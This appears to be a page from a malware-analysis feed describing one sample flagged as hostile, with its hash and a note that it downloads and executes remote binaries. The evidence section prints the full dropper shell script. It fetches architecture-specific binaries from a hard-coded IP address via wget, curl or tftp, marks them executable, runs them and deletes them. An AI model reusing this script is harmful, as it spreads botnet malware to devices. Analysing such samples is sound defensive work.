Hostile 100% Download

947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212_r

Downloads and executes remote binaries

Multi-architecture protocol fallback executionLocal ./ file invocation
SHA-256947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212
MaleculeO₃(C₃DyXe)H₄(Cm₆F₄OsPo₂)

Evidence

TFTP command invocation lines 1–10
1binarys="mips mipsel x86 arm7 arm4 sh4 arm6 arm5 ppc arc"
2server_ip="93.123.85.213"
3for arch in $binarys
4do
5rm -rf $arch
6wget http://$server_ip/$arch || curl -O http://$server_ip/$arch || tftp $server_ip -c get $arch || tftp -g -r $arch $server_ip
7chmod 777 $arch
8./$arch $1
9rm -rf $arch
10done

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.